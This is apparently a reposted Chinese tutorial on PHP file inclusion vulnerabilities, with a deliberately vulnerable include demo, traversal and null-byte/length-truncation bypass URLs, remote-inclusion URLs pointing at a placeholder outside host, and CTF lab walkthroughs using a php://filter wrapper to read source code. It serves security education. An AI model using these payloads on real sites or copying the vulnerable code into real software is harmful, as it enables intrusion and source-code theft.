1. 程式人生 > 其它 >簡單瞭解WEB漏洞-檔案包含漏洞

簡單瞭解WEB漏洞-檔案包含漏洞

原理

檔案包含漏洞的產生原因是在通過 PHP 的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼注入。

演示程式碼

<?php
$filename = $_GET['filename']
include($filename)
?> 

在網站目錄下有一個php.txt檔案 檔案的內容是<?php phpinfo();?>

向filename傳參將1.txt包含進去

127.0.0.1/test,php?filename=1.txt

成功執行php程式碼

檔案包含還可以包含不同目錄下的檔案,我在D盤根目錄下有一個1.txt 內容同樣是<?php phpinfo();?>

因此url應該這樣寫

127.0.0.1/test,php?filename=../../../1.txt

檔案包含各個指令碼程式碼

ASP,PHP,JSP,ASPX等

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>

本地包含-有限制

<?php
$filename=$_GET['filename'];
include($filename.".html");
?> 

繞過方法

%00截斷:條件:magic_quotes_gpc = Off php版本<5.3.4

filename=…/…/…/www.txt%00

長度截斷:條件:windows,點號需要長於256;linux 長於4096

遠端包含-有限制

只有這個開關開啟才允許遠端上傳

無限制

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt

有限制

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt%23

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt?

各種協議流玩法

各環境支援的協議

php偽協議

php偽協議 - 看不盡的塵埃 - 部落格園 (cnblogs.com)

靶場演

https://www.ichunqiu.com/battalion?t=1&r=0

根據程式碼可知傳遞path值即可

使用php偽協議

發現一個可疑的php檔案

訪問看下

檢視頁面原始碼

完事

靶場二

asdf (chinalover.sinaapp.com)

url上有一個file可以猜測是包含的檔名

使用php偽協議讀取檔案原始碼

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

base64加密

解碼後的結果